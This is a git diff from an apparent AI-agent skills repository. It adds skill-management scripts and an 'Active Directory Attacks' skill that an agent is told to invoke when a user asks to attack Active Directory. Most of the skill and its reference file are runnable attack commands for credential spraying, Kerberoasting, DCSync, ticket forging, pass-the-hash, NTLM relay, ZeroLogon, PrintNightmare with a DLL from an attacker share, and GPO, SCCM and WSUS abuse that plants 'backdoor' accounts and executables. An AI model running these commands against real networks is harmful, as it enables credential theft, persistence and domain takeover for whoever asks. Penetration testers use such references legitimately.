- **[f/awesome-chatgpt-prompts](https://github.com/f/awesome-chatgpt-prompts)**: Inspiration for the Prompt Library.
|
||||
- **[leonardomso/33-js-concepts](https://github.com/leonardomso/33-js-concepts)**: Inspiration for JavaScript Mastery.
|
||||
|
||||
---
|
||||
|
||||
|
||||
119
scripts/skills_manager.py
Executable file
119
scripts/skills_manager.py
Executable file
@@ -0,0 +1,119 @@
|
||||
#!/usr/bin/env python3
|
||||
"""
|
||||
Skills Manager - Easily enable/disable skills locally
|
||||
|
||||
Usage:
|
||||
python3 scripts/skills_manager.py list # List active skills
|
||||
python3 scripts/skills_manager.py disabled # List disabled skills
|
||||
python3 scripts/skills_manager.py enable SKILL # Enable a skill
|
||||
python3 scripts/skills_manager.py disable SKILL # Disable a skill
|
||||
"""
|
||||
|
||||
import sys
|
||||
import os
|
||||
from pathlib import Path
|
||||
|
||||
SKILLS_DIR = Path(__file__).parent.parent / "skills"
|
||||
DISABLED_DIR = SKILLS_DIR / ".disabled"
|
||||
|
||||
def list_active():
|
||||
"""List all active skills"""
|
||||
print("🟢 Active Skills:\n")
|
||||
skills = sorted([d.name for d in SKILLS_DIR.iterdir()
|
||||
if d.is_dir() and not d.name.startswith('.')])
|
||||
symlinks = sorted([s.name for s in SKILLS_DIR.iterdir()
|
||||
if s.is_symlink()])
|
||||
|
||||
for skill in skills:
|
||||
print(f" • {skill}")
|
||||
|
||||
if symlinks:
|
||||
print("\n📎 Symlinks:")
|
||||
for link in symlinks:
|
||||
target = os.readlink(SKILLS_DIR / link)
|
||||
print(f" • {link} → {target}")
|
||||
|
||||
print(f"\n✅ Total: {len(skills)} skills + {len(symlinks)} symlinks")
|
||||
|
||||
def list_disabled():
|
||||
"""List all disabled skills"""
|
||||
if not DISABLED_DIR.exists():
|
||||
print("❌ No disabled skills directory found")
|
||||
return
|
||||
|
||||
print("⚪ Disabled Skills:\n")
|
||||
disabled = sorted([d.name for d in DISABLED_DIR.iterdir() if d.is_dir()])
|
||||
|
||||
for skill in disabled:
|
||||
print(f" • {skill}")
|
||||
|
||||
print(f"\n📊 Total: {len(disabled)} disabled skills")
|
||||
|
||||
def enable_skill(skill_name):
|
||||
"""Enable a disabled skill"""
|
||||
source = DISABLED_DIR / skill_name
|
||||
target = SKILLS_DIR / skill_name
|
||||
|
||||
if not source.exists():
|
||||
print(f"❌ Skill '{skill_name}' not found in .disabled/")
|
||||
return False
|
||||
|
||||
if target.exists():
|
||||
print(f"⚠️ Skill '{skill_name}' is already active")
|
||||
return False
|
||||
|
||||
source.rename(target)
|
||||
print(f"✅ Enabled: {skill_name}")
|
||||
return True
|
||||
|
||||
def disable_skill(skill_name):
|
||||
"""Disable an active skill"""
|
||||
source = SKILLS_DIR / skill_name
|
||||
target = DISABLED_DIR / skill_name
|
||||
|
||||
if not source.exists():
|
||||
print(f"❌ Skill '{skill_name}' not found")
|
||||
return False
|
||||
|
||||
if source.name.startswith('.'):
|
||||
print(f"⚠️ Cannot disable system directory: {skill_name}")
|
||||
return False
|
||||
|
||||
if source.is_symlink():
|
||||
print(f"⚠️ Cannot disable symlink: {skill_name}")
|
||||
print(f" (Remove the symlink manually if needed)")
|
||||
return False
|
||||
|
||||
DISABLED_DIR.mkdir(exist_ok=True)
|
||||
source.rename(target)
|
||||
print(f"✅ Disabled: {skill_name}")
|
||||
return True
|
||||
|
||||
def main():
|
||||
if len(sys.argv) < 2:
|
||||
print(__doc__)
|
||||
sys.exit(1)
|
||||
|
||||
command = sys.argv[1].lower()
|
||||
|
||||
if command == "list":
|
||||
list_active()
|
||||
elif command == "disabled":
|
||||
list_disabled()
|
||||
elif command == "enable":
|
||||
if len(sys.argv) < 3:
|
||||
print("❌ Usage: skills_manager.py enable SKILL_NAME")
|
||||
sys.exit(1)
|
||||
enable_skill(sys.argv[2])
|
||||
elif command == "disable":
|
||||
if len(sys.argv) < 3:
|
||||
print("❌ Usage: skills_manager.py disable SKILL_NAME")
|
||||
sys.exit(1)
|
||||
disable_skill(sys.argv[2])
|
||||
else:
|
||||
print(f"❌ Unknown command: {command}")
|
||||
print(__doc__)
|
||||
sys.exit(1)
|
||||
|
||||
if __name__ == "__main__":
|
||||
main()
|
||||
114
scripts/sync_recommended_skills.sh
Executable file
114
scripts/sync_recommended_skills.sh
Executable file
@@ -0,0 +1,114 @@
|
||||
#!/bin/bash
|
||||
# sync_recommended_skills.sh
|
||||
# Syncs only the 35 recommended skills from GitHub repo to local central library
|
||||
|
||||
set -e
|
||||
|
||||
# Paths
|
||||
GITHUB_REPO="/Users/nicco/Antigravity Projects/antigravity-awesome-skills/skills"
|
||||
LOCAL_LIBRARY="/Users/nicco/.gemini/antigravity/scratch/.agent/skills"
|
||||
BACKUP_DIR="/Users/nicco/.gemini/antigravity/scratch/.agent/skills_backup_$(date +%Y%m%d_%H%M%S)"
|
||||
|
||||
# 35 Recommended Skills
|
||||
RECOMMENDED_SKILLS=(
|
||||
# Tier S - Core Development (13)
|
||||
"systematic-debugging"
|
||||
"test-driven-development"
|
||||
"writing-skills"
|
||||
"doc-coauthoring"
|
||||
"planning-with-files"
|
||||
"concise-planning"
|
||||
"software-architecture"
|
||||
"senior-architect"
|
||||
"senior-fullstack"
|
||||
"verification-before-completion"
|
||||
"git-pushing"
|
||||
"address-github-comments"
|
||||
"javascript-mastery"
|
||||
|
||||
# Tier A - Your Projects (12)
|
||||
"docx-official"
|
||||
"pdf-official"
|
||||
"pptx-official"
|
||||
"xlsx-official"
|
||||
"react-best-practices"
|
||||
"web-design-guidelines"
|
||||
"frontend-dev-guidelines"
|
||||
"webapp-testing"
|
||||
"playwright-skill"
|
||||
"mcp-builder"
|
||||
"notebooklm"
|
||||
"ui-ux-pro-max"
|
||||
|
||||
# Marketing & SEO (1)
|
||||
"content-creator"
|
||||
|
||||
# Corporate (4)
|
||||
"brand-guidelines-anthropic"
|
||||
"brand-guidelines-community"
|
||||
"internal-comms-anthropic"
|
||||
"internal-comms-community"
|
||||
|
||||
# Planning & Documentation (1)
|
||||
"writing-plans"
|
||||
|
||||
# AI & Automation (5)
|
||||
"workflow-automation"
|
||||
"llm-app-patterns"
|
||||
"autonomous-agent-patterns"
|
||||
"prompt-library"
|
||||
"github-workflow-automation"
|
||||
)
|
||||
|
||||
echo "🔄 Sync Recommended Skills"
|
||||
echo "========================="
|
||||
echo ""
|
||||
echo "📍 Source: $GITHUB_REPO"
|
||||
echo "📍 Target: $LOCAL_LIBRARY"
|
||||
echo "📊 Skills to sync: ${#RECOMMENDED_SKILLS[@]}"
|
||||
echo ""
|
||||
|
||||
# Create backup
|
||||
echo "📦 Creating backup at: $BACKUP_DIR"
|
||||
cp -r "$LOCAL_LIBRARY" "$BACKUP_DIR"
|
||||
echo "✅ Backup created"
|
||||
echo ""
|
||||
|
||||
# Clear local library (keep README.md if exists)
|
||||
echo "🗑️ Clearing local library..."
|
||||
cd "$LOCAL_LIBRARY"
|
||||
for item in */; do
|
||||
rm -rf "$item"
|
||||
done
|
||||
echo "✅ Local library cleared"
|
||||
echo ""
|
||||
|
||||
# Copy recommended skills
|
||||
echo "📋 Copying recommended skills..."
|
||||
SUCCESS_COUNT=0
|
||||
MISSING_COUNT=0
|
||||
|
||||
for skill in "${RECOMMENDED_SKILLS[@]}"; do
|
||||
if [ -d "$GITHUB_REPO/$skill" ]; then
|
||||
cp -r "$GITHUB_REPO/$skill" "$LOCAL_LIBRARY/"
|
||||
echo " ✅ $skill"
|
||||
((SUCCESS_COUNT++))
|
||||
else
|
||||
echo " ⚠️ $skill (not found in repo)"
|
||||
((MISSING_COUNT++))
|
||||
fi
|
||||
done
|
||||
|
||||
echo ""
|
||||
echo "📊 Summary"
|
||||
echo "=========="
|
||||
echo "✅ Copied: $SUCCESS_COUNT skills"
|
||||
echo "⚠️ Missing: $MISSING_COUNT skills"
|
||||
echo "📦 Backup: $BACKUP_DIR"
|
||||
echo ""
|
||||
|
||||
# Verify
|
||||
FINAL_COUNT=$(find "$LOCAL_LIBRARY" -maxdepth 1 -type d ! -name "." | wc -l | tr -d ' ')
|
||||
echo "🎯 Final count in local library: $FINAL_COUNT skills"
|
||||
echo ""
|
||||
echo "Done! Your local library now has only the recommended skills."
|
||||
3
skills/.gitignore
vendored
Normal file
3
skills/.gitignore
vendored
Normal file
@@ -0,0 +1,3 @@
|
||||
# Local-only: disabled skills for lean configuration
|
||||
# These skills are kept in the repository but disabled locally
|
||||
.disabled/
|
||||
380
skills/active-directory-attacks/SKILL.md
Normal file
380
skills/active-directory-attacks/SKILL.md
Normal file
@@ -0,0 +1,380 @@
|
||||
---
|
||||
name: Active Directory Attacks
|
||||
description: This skill should be used when the user asks to "attack Active Directory", "exploit AD", "Kerberoasting", "DCSync", "pass-the-hash", "BloodHound enumeration", "Golden Ticket", "Silver Ticket", "AS-REP roasting", "NTLM relay", or needs guidance on Windows domain penetration testing.
|
||||
---
|
||||
|
||||
# Active Directory Attacks
|
||||
|
||||
## Purpose
|
||||
|
||||
Provide comprehensive techniques for attacking Microsoft Active Directory environments. Covers reconnaissance, credential harvesting, Kerberos attacks, lateral movement, privilege escalation, and domain dominance for red team operations and penetration testing.
|
||||
|
||||
## Inputs/Prerequisites
|
||||
|
||||
- Kali Linux or Windows attack platform
|
||||
- Domain user credentials (for most attacks)
|
||||
- Network access to Domain Controller
|
||||
- Tools: Impacket, Mimikatz, BloodHound, Rubeus, CrackMapExec
|
||||
|
||||
## Outputs/Deliverables
|
||||
|
||||
- Domain enumeration data
|
||||
- Extracted credentials and hashes
|
||||
- Kerberos tickets for impersonation
|
||||
- Domain Administrator access
|
||||
- Persistent access mechanisms
|
||||
|
||||
---
|
||||
|
||||
## Essential Tools
|
||||
|
||||
| Tool | Purpose |
|
||||
|------|---------|
|
||||
| BloodHound | AD attack path visualization |
|
||||
| Impacket | Python AD attack tools |
|
||||
| Mimikatz | Credential extraction |
|
||||
| Rubeus | Kerberos attacks |
|
||||
| CrackMapExec | Network exploitation |
|
||||
| PowerView | AD enumeration |
|
||||
| Responder | LLMNR/NBT-NS poisoning |
|
||||
|
||||
---
|
||||
|
||||
## Core Workflow
|
||||
|
||||
### Step 1: Kerberos Clock Sync
|
||||
|
||||
Kerberos requires clock synchronization (±5 minutes):
|
||||
|
||||
```bash
|
||||
# Detect clock skew
|
||||
nmap -sT 10.10.10.10 -p445 --script smb2-time
|
||||
|
||||
# Fix clock on Linux
|
||||
sudo date -s "14 APR 2024 18:25:16"
|
||||
|
||||
# Fix clock on Windows
|
||||
net time /domain /set
|
||||
|
||||
# Fake clock without changing system time
|
||||
faketime -f '+8h' <command>
|
||||
```
|
||||
|
||||
### Step 2: AD Reconnaissance with BloodHound
|
||||
|
||||
```bash
|
||||
# Start BloodHound
|
||||
neo4j console
|
||||
bloodhound --no-sandbox
|
||||
|
||||
# Collect data with SharpHound
|
||||
.\SharpHound.exe -c All
|
||||
.\SharpHound.exe -c All --ldapusername user --ldappassword pass
|
||||
|
||||
# Python collector (from Linux)
|
||||
bloodhound-python -u 'user' -p 'password' -d domain.local -ns 10.10.10.10 -c all
|
||||
```
|
||||
|
||||
### Step 3: PowerView Enumeration
|
||||
|
||||
```powershell
|
||||
# Get domain info
|
||||
Get-NetDomain
|
||||
Get-DomainSID
|
||||
Get-NetDomainController
|
||||
|
||||
# Enumerate users
|
||||
Get-NetUser
|
||||
Get-NetUser -SamAccountName targetuser
|
||||
Get-UserProperty -Properties pwdlastset
|
||||
|
||||
# Enumerate groups
|
||||
Get-NetGroupMember -GroupName "Domain Admins"
|
||||
Get-DomainGroup -Identity "Domain Admins" | Select-Object -ExpandProperty Member
|
||||
|
||||
# Find local admin access
|
||||
Find-LocalAdminAccess -Verbose
|
||||
|
||||
# User hunting
|
||||
Invoke-UserHunter
|
||||
Invoke-UserHunter -Stealth
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
## Credential Attacks
|
||||
|
||||
### Password Spraying
|
||||
|
||||
```bash
|
||||
# Using kerbrute
|
||||
./kerbrute passwordspray -d domain.local --dc 10.10.10.10 users.txt Password123
|
||||
|
||||
# Using CrackMapExec
|
||||
crackmapexec smb 10.10.10.10 -u users.txt -p 'Password123' --continue-on-success
|
||||
```
|
||||
|
||||
### Kerberoasting
|
||||
|
||||
Extract service account TGS tickets and crack offline:
|
||||
|
||||
```bash
|
||||
# Impacket
|
||||
GetUserSPNs.py domain.local/user:password -dc-ip 10.10.10.10 -request -outputfile hashes.txt
|
||||
|
||||
# Rubeus
|
||||
.\Rubeus.exe kerberoast /outfile:hashes.txt
|
||||
|
||||
# CrackMapExec
|
||||
crackmapexec ldap 10.10.10.10 -u user -p password --kerberoast output.txt
|
||||
|
||||
# Crack with hashcat
|
||||
hashcat -m 13100 hashes.txt rockyou.txt
|
||||
```
|
||||
|
||||
### AS-REP Roasting
|
||||
|
||||
Target accounts with "Do not require Kerberos preauthentication":
|
||||
|
||||
```bash
|
||||
# Impacket
|
||||
GetNPUsers.py domain.local/ -usersfile users.txt -dc-ip 10.10.10.10 -format hashcat
|
||||
|
||||
# Rubeus
|
||||
.\Rubeus.exe asreproast /format:hashcat /outfile:hashes.txt
|
||||
|
||||
# Crack with hashcat
|
||||
hashcat -m 18200 hashes.txt rockyou.txt
|
||||
```
|
||||
|
||||
### DCSync Attack
|
||||
|
||||
Extract credentials directly from DC (requires Replicating Directory Changes rights):
|
||||
|
||||
```bash
|
||||
# Impacket
|
||||
secretsdump.py domain.local/admin:password@10.10.10.10 -just-dc-user krbtgt
|
||||
|
||||
# Mimikatz
|
||||
lsadump::dcsync /domain:domain.local /user:krbtgt
|
||||
lsadump::dcsync /domain:domain.local /user:Administrator
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
## Kerberos Ticket Attacks
|
||||
|
||||
### Pass-the-Ticket (Golden Ticket)
|
||||
|
||||
Forge TGT with krbtgt hash for any user:
|
||||
|
||||
```powershell
|
||||
# Get krbtgt hash via DCSync first
|
||||
# Mimikatz - Create Golden Ticket
|
||||
kerberos::golden /user:Administrator /domain:domain.local /sid:S-1-5-21-xxx /krbtgt:HASH /id:500 /ptt
|
||||
|
||||
# Impacket
|
||||
ticketer.py -nthash KRBTGT_HASH -domain-sid S-1-5-21-xxx -domain domain.local Administrator
|
||||
export KRB5CCNAME=Administrator.ccache
|
||||
psexec.py -k -no-pass domain.local/Administrator@dc.domain.local
|
||||
```
|
||||
|
||||
### Silver Ticket
|
||||
|
||||
Forge TGS for specific service:
|
||||
|
||||
```powershell
|
||||
# Mimikatz
|
||||
kerberos::golden /user:Administrator /domain:domain.local /sid:S-1-5-21-xxx /target:server.domain.local /service:cifs /rc4:SERVICE_HASH /ptt
|
||||
```
|
||||
|
||||
### Pass-the-Hash
|
||||
|
||||
```bash
|
||||
# Impacket
|
||||
psexec.py domain.local/Administrator@10.10.10.10 -hashes :NTHASH
|
||||
wmiexec.py domain.local/Administrator@10.10.10.10 -hashes :NTHASH
|
||||
smbexec.py domain.local/Administrator@10.10.10.10 -hashes :NTHASH
|
||||
|
||||
# CrackMapExec
|
||||
crackmapexec smb 10.10.10.10 -u Administrator -H NTHASH -d domain.local
|
||||
crackmapexec smb 10.10.10.10 -u Administrator -H NTHASH --local-auth
|
||||
```
|
||||
|
||||
### OverPass-the-Hash
|
||||
|
||||
Convert NTLM hash to Kerberos ticket:
|
||||
|
||||
```bash
|
||||
# Impacket
|
||||
getTGT.py domain.local/user -hashes :NTHASH
|
||||
export KRB5CCNAME=user.ccache
|
||||
|
||||
# Rubeus
|
||||
.\Rubeus.exe asktgt /user:user /rc4:NTHASH /ptt
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
## NTLM Relay Attacks
|
||||
|
||||
### Responder + ntlmrelayx
|
||||
|
||||
```bash
|
||||
# Start Responder (disable SMB/HTTP for relay)
|
||||
responder -I eth0 -wrf
|
||||
|
||||
# Start relay
|
||||
ntlmrelayx.py -tf targets.txt -smb2support
|
||||
|
||||
# LDAP relay for delegation attack
|
||||
ntlmrelayx.py -t ldaps://dc.domain.local -wh attacker-wpad --delegate-access
|
||||
```
|
||||
|
||||
### SMB Signing Check
|
||||
|
||||
```bash
|
||||
crackmapexec smb 10.10.10.0/24 --gen-relay-list targets.txt
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
## Certificate Services Attacks (AD CS)
|
||||
|
||||
### ESC1 - Misconfigured Templates
|
||||
|
||||
```bash
|
||||
# Find vulnerable templates
|
||||
certipy find -u user@domain.local -p password -dc-ip 10.10.10.10
|
||||
|
||||
# Exploit ESC1
|
||||
certipy req -u user@domain.local -p password -ca CA-NAME -target dc.domain.local -template VulnTemplate -upn administrator@domain.local
|
||||
|
||||
# Authenticate with certificate
|
||||
certipy auth -pfx administrator.pfx -dc-ip 10.10.10.10
|
||||
```
|
||||
|
||||
### ESC8 - Web Enrollment Relay
|
||||
|
||||
```bash
|
||||
ntlmrelayx.py -t http://ca.domain.local/certsrv/certfnsh.asp -smb2support --adcs --template DomainController
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
## Critical CVEs
|
||||
|
||||
### ZeroLogon (CVE-2020-1472)
|
||||
|
||||
```bash
|
||||
# Check vulnerability
|
||||
crackmapexec smb 10.10.10.10 -u '' -p '' -M zerologon
|
||||
|
||||
# Exploit
|
||||
python3 cve-2020-1472-exploit.py DC01 10.10.10.10
|
||||
|
||||
# Extract hashes
|
||||
secretsdump.py -just-dc domain.local/DC01\$@10.10.10.10 -no-pass
|
||||
|
||||
# Restore password (important!)
|
||||
python3 restorepassword.py domain.local/DC01@DC01 -target-ip 10.10.10.10 -hexpass HEXPASSWORD
|
||||
```
|
||||
|
||||
### PrintNightmare (CVE-2021-1675)
|
||||
|
||||
```bash
|
||||
# Check for vulnerability
|
||||
rpcdump.py @10.10.10.10 | grep 'MS-RPRN'
|
||||
|
||||
# Exploit (requires hosting malicious DLL)
|
||||
python3 CVE-2021-1675.py domain.local/user:pass@10.10.10.10 '\\attacker\share\evil.dll'
|
||||
```
|
||||
|
||||
### samAccountName Spoofing (CVE-2021-42278/42287)
|
||||
|
||||
```bash
|
||||
# Automated exploitation
|
||||
python3 sam_the_admin.py "domain.local/user:password" -dc-ip 10.10.10.10 -shell
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
## Quick Reference
|
||||
|
||||
| Attack | Tool | Command |
|
||||
|--------|------|---------|
|
||||
| Kerberoast | Impacket | `GetUserSPNs.py domain/user:pass -request` |
|
||||
| AS-REP Roast | Impacket | `GetNPUsers.py domain/ -usersfile users.txt` |
|
||||
| DCSync | secretsdump | `secretsdump.py domain/admin:pass@DC` |
|
||||
| Pass-the-Hash | psexec | `psexec.py domain/user@target -hashes :HASH` |
|
||||
| Golden Ticket | Mimikatz | `kerberos::golden /user:Admin /krbtgt:HASH` |
|
||||
| Spray | kerbrute | `kerbrute passwordspray -d domain users.txt Pass` |
|
||||
|
||||
---
|
||||
|
||||
## Constraints
|
||||
|
||||
**Must:**
|
||||
- Synchronize time with DC before Kerberos attacks
|
||||
- Have valid domain credentials for most attacks
|
||||
- Document all compromised accounts
|
||||
|
||||
**Must Not:**
|
||||
- Lock out accounts with excessive password spraying
|
||||
- Modify production AD objects without approval
|
||||
- Leave Golden Tickets without documentation
|
||||
|
||||
**Should:**
|
||||
- Run BloodHound for attack path discovery
|
||||
- Check for SMB signing before relay attacks
|
||||
- Verify patch levels for CVE exploitation
|
||||
|
||||
---
|
||||
|
||||
## Examples
|
||||
|
||||
### Example 1: Domain Compromise via Kerberoasting
|
||||
|
||||
```bash
|
||||
# 1. Find service accounts with SPNs
|
||||
GetUserSPNs.py domain.local/lowpriv:password -dc-ip 10.10.10.10
|
||||
|
||||
# 2. Request TGS tickets
|
||||
GetUserSPNs.py domain.local/lowpriv:password -dc-ip 10.10.10.10 -request -outputfile tgs.txt
|
||||
|
||||
# 3. Crack tickets
|
||||
hashcat -m 13100 tgs.txt rockyou.txt
|
||||
|
||||
# 4. Use cracked service account
|
||||
psexec.py domain.local/svc_admin:CrackedPassword@10.10.10.10
|
||||
```
|
||||
|
||||
### Example 2: NTLM Relay to LDAP
|
||||
|
||||
```bash
|
||||
# 1. Start relay targeting LDAP
|
||||
ntlmrelayx.py -t ldaps://dc.domain.local --delegate-access
|
||||
|
||||
# 2. Trigger authentication (e.g., via PrinterBug)
|
||||
python3 printerbug.py domain.local/user:pass@target 10.10.10.12
|
||||
|
||||
# 3. Use created machine account for RBCD attack
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
## Troubleshooting
|
||||
|
||||
| Issue | Solution |
|
||||
|-------|----------|
|
||||
| Clock skew too great | Sync time with DC or use faketime |
|
||||
| Kerberoasting returns empty | No service accounts with SPNs |
|
||||
| DCSync access denied | Need Replicating Directory Changes rights |
|
||||
| NTLM relay fails | Check SMB signing, try LDAP target |
|
||||
| BloodHound empty | Verify collector ran with correct creds |
|
||||
|
||||
---
|
||||
|
||||
## Additional Resources
|
||||
|
||||
For advanced techniques including delegation attacks, GPO abuse, RODC attacks, SCCM/WSUS deployment, ADCS exploitation, trust relationships, and Linux AD integration, see [references/advanced-attacks.md](references/advanced-attacks.md).
|
||||
382
skills/active-directory-attacks/references/advanced-attacks.md
Normal file
382
skills/active-directory-attacks/references/advanced-attacks.md
Normal file
@@ -0,0 +1,382 @@
|
||||
# Advanced Active Directory Attacks Reference
|
||||
|
||||
## Table of Contents
|
||||
1. [Delegation Attacks](#delegation-attacks)
|
||||
2. [Group Policy Object Abuse](#group-policy-object-abuse)
|
||||
3. [RODC Attacks](#rodc-attacks)
|
||||
4. [SCCM/WSUS Deployment](#sccmwsus-deployment)
|
||||
5. [AD Certificate Services (ADCS)](#ad-certificate-services-adcs)
|
||||
6. [Trust Relationship Attacks](#trust-relationship-attacks)
|
||||
7. [ADFS Golden SAML](#adfs-golden-saml)
|
||||
8. [Credential Sources](#credential-sources)
|
||||
9. [Linux AD Integration](#linux-ad-integration)
|
||||
|
||||
---
|
||||
|
||||
## Delegation Attacks
|
||||
|
||||
### Unconstrained Delegation
|
||||
|
||||
When a user authenticates to a computer with unconstrained delegation, their TGT is saved to memory.
|
||||
|
||||
**Find Delegation:**
|
||||
```powershell
|
||||
# PowerShell
|
||||
Get-ADComputer -Filter {TrustedForDelegation -eq $True}
|
||||
|
||||
# BloodHound
|
||||
MATCH (c:Computer {unconstraineddelegation:true}) RETURN c
|
||||
```
|
||||
|
||||
**SpoolService Abuse:**
|
||||
```bash
|
||||
# Check spooler service
|
||||
ls \\dc01\pipe\spoolss
|
||||
|
||||
# Trigger with SpoolSample
|
||||
.\SpoolSample.exe DC01.domain.local HELPDESK.domain.local
|
||||
|
||||
# Or with printerbug.py
|
||||
python3 printerbug.py 'domain/user:pass'@DC01 ATTACKER_IP
|
||||
```
|
||||
|
||||
**Monitor with Rubeus:**
|
||||
```powershell
|
||||
Rubeus.exe monitor /interval:1
|
||||
```
|
||||
|
||||
### Constrained Delegation
|
||||
|
||||
**Identify:**
|
||||
```powershell
|
||||
Get-DomainComputer -TrustedToAuth | select -exp msds-AllowedToDelegateTo
|
||||
```
|
||||
|
||||
**Exploit with Rubeus:**
|
||||
```powershell
|
||||
# S4U2 attack
|
||||
Rubeus.exe s4u /user:svc_account /rc4:HASH /impersonateuser:Administrator /msdsspn:cifs/target.domain.local /ptt
|
||||
```
|
||||
|
||||
**Exploit with Impacket:**
|
||||
```bash
|
||||
getST.py -spn HOST/target.domain.local 'domain/user:password' -impersonate Administrator -dc-ip DC_IP
|
||||
```
|
||||
|
||||
### Resource-Based Constrained Delegation (RBCD)
|
||||
|
||||
```powershell
|
||||
# Create machine account
|
||||
New-MachineAccount -MachineAccount AttackerPC -Password $(ConvertTo-SecureString 'Password123' -AsPlainText -Force)
|
||||
|
||||
# Set delegation
|
||||
Set-ADComputer target -PrincipalsAllowedToDelegateToAccount AttackerPC$
|
||||
|
||||
# Get ticket
|
||||
.\Rubeus.exe s4u /user:AttackerPC$ /rc4:HASH /impersonateuser:Administrator /msdsspn:cifs/target.domain.local /ptt
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
## Group Policy Object Abuse
|
||||
|
||||
### Find Vulnerable GPOs
|
||||
|
||||
```powershell
|
||||
Get-DomainObjectAcl -Identity "SuperSecureGPO" -ResolveGUIDs | Where-Object {($_.ActiveDirectoryRights.ToString() -match "GenericWrite|WriteDacl|WriteOwner")}
|
||||
```
|
||||
|
||||
### Abuse with SharpGPOAbuse
|
||||
|
||||
```powershell
|
||||
# Add local admin
|
||||
.\SharpGPOAbuse.exe --AddLocalAdmin --UserAccount attacker --GPOName "Vulnerable GPO"
|
||||
|
||||
# Add user rights
|
||||
.\SharpGPOAbuse.exe --AddUserRights --UserRights "SeTakeOwnershipPrivilege,SeRemoteInteractiveLogonRight" --UserAccount attacker --GPOName "Vulnerable GPO"
|
||||
|
||||
# Add immediate task
|
||||
.\SharpGPOAbuse.exe --AddComputerTask --TaskName "Update" --Author DOMAIN\Admin --Command "cmd.exe" --Arguments "/c net user backdoor Password123! /add" --GPOName "Vulnerable GPO"
|
||||
```
|
||||
|
||||
### Abuse with pyGPOAbuse (Linux)
|
||||
|
||||
```bash
|
||||
./pygpoabuse.py DOMAIN/user -hashes lm:nt -gpo-id "12345677-ABCD-9876-ABCD-123456789012"
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
## RODC Attacks
|
||||
|
||||
### RODC Golden Ticket
|
||||
|
||||
RODCs contain filtered AD copy (excludes LAPS/Bitlocker keys). Forge tickets for principals in msDS-RevealOnDemandGroup.
|
||||
|
||||
### RODC Key List Attack
|
||||
|
||||
**Requirements:**
|
||||
- krbtgt credentials of the RODC (-rodcKey)
|
||||
- ID of the krbtgt account of the RODC (-rodcNo)
|
||||
|
||||
```bash
|
||||
# Impacket keylistattack
|
||||
keylistattack.py DOMAIN/user:password@host -rodcNo XXXXX -rodcKey XXXXXXXXXXXXXXXXXXXX -full
|
||||
|
||||
# Using secretsdump with keylist
|
||||
secretsdump.py DOMAIN/user:password@host -rodcNo XXXXX -rodcKey XXXXXXXXXXXXXXXXXXXX -use-keylist
|
||||
```
|
||||
|
||||
**Using Rubeus:**
|
||||
```powershell
|
||||
Rubeus.exe golden /rodcNumber:25078 /aes256:RODC_AES256_KEY /user:Administrator /id:500 /domain:domain.local /sid:S-1-5-21-xxx
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
## SCCM/WSUS Deployment
|
||||
|
||||
### SCCM Attack with MalSCCM
|
||||
|
||||
```bash
|
||||
# Locate SCCM server
|
||||
MalSCCM.exe locate
|
||||
|
||||
# Enumerate targets
|
||||
MalSCCM.exe inspect /all
|
||||
MalSCCM.exe inspect /computers
|
||||
|
||||
# Create target group
|
||||
MalSCCM.exe group /create /groupname:TargetGroup /grouptype:device
|
||||
MalSCCM.exe group /addhost /groupname:TargetGroup /host:TARGET-PC
|
||||
|
||||
# Create malicious app
|
||||
MalSCCM.exe app /create /name:backdoor /uncpath:"\\SCCM\SCCMContentLib$\evil.exe"
|
||||
|
||||
# Deploy
|
||||
MalSCCM.exe app /deploy /name:backdoor /groupname:TargetGroup /assignmentname:update
|
||||
|
||||
# Force checkin
|
||||
MalSCCM.exe checkin /groupname:TargetGroup
|
||||
|
||||
# Cleanup
|
||||
MalSCCM.exe app /cleanup /name:backdoor
|
||||
MalSCCM.exe group /delete /groupname:TargetGroup
|
||||
```
|
||||
|
||||
### SCCM Network Access Accounts
|
||||
|
||||
```powershell
|
||||
# Find SCCM blob
|
||||
Get-Wmiobject -namespace "root\ccm\policy\Machine\ActualConfig" -class "CCM_NetworkAccessAccount"
|
||||
|
||||
# Decrypt with SharpSCCM
|
||||
.\SharpSCCM.exe get naa -u USERNAME -p PASSWORD
|
||||
```
|
||||
|
||||
### WSUS Deployment Attack
|
||||
|
||||
```bash
|
||||
# Using SharpWSUS
|
||||
SharpWSUS.exe locate
|
||||
SharpWSUS.exe inspect
|
||||
|
||||
# Create malicious update
|
||||
SharpWSUS.exe create /payload:"C:\psexec.exe" /args:"-accepteula -s -d cmd.exe /c \"net user backdoor Password123! /add\"" /title:"Critical Update"
|
||||
|
||||
# Deploy to target
|
||||
SharpWSUS.exe approve /updateid:GUID /computername:TARGET.domain.local /groupname:"Demo Group"
|
||||
|
||||
# Check status
|
||||
SharpWSUS.exe check /updateid:GUID /computername:TARGET.domain.local
|
||||
|
||||
# Cleanup
|
||||
SharpWSUS.exe delete /updateid:GUID /computername:TARGET.domain.local /groupname:"Demo Group"
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
## AD Certificate Services (ADCS)
|
||||
|
||||
### ESC1 - Misconfigured Templates
|
||||
|
||||
Template allows ENROLLEE_SUPPLIES_SUBJECT with Client Authentication EKU.
|
||||
|
||||
```bash
|
||||
# Find vulnerable templates
|
||||
certipy find -u user@domain.local -p password -dc-ip DC_IP -vulnerable
|
||||
|
||||
# Request certificate as admin
|
||||
certipy req -u user@domain.local -p password -ca CA-NAME -target ca.domain.local -template VulnTemplate -upn administrator@domain.local
|
||||
|
||||
# Authenticate
|
||||
certipy auth -pfx administrator.pfx -dc-ip DC_IP
|
||||
```
|
||||
|
||||
### ESC4 - ACL Vulnerabilities
|
||||
|
||||
```python
|
||||
# Check for WriteProperty
|
||||
python3 modifyCertTemplate.py domain.local/user -k -no-pass -template user -dc-ip DC_IP -get-acl
|
||||
|
||||
# Add ENROLLEE_SUPPLIES_SUBJECT flag
|
||||
python3 modifyCertTemplate.py domain.local/user -k -no-pass -template user -dc-ip DC_IP -add CT_FLAG_ENROLLEE_SUPPLIES_SUBJECT
|
||||
|
||||
# Perform ESC1, then restore
|
||||
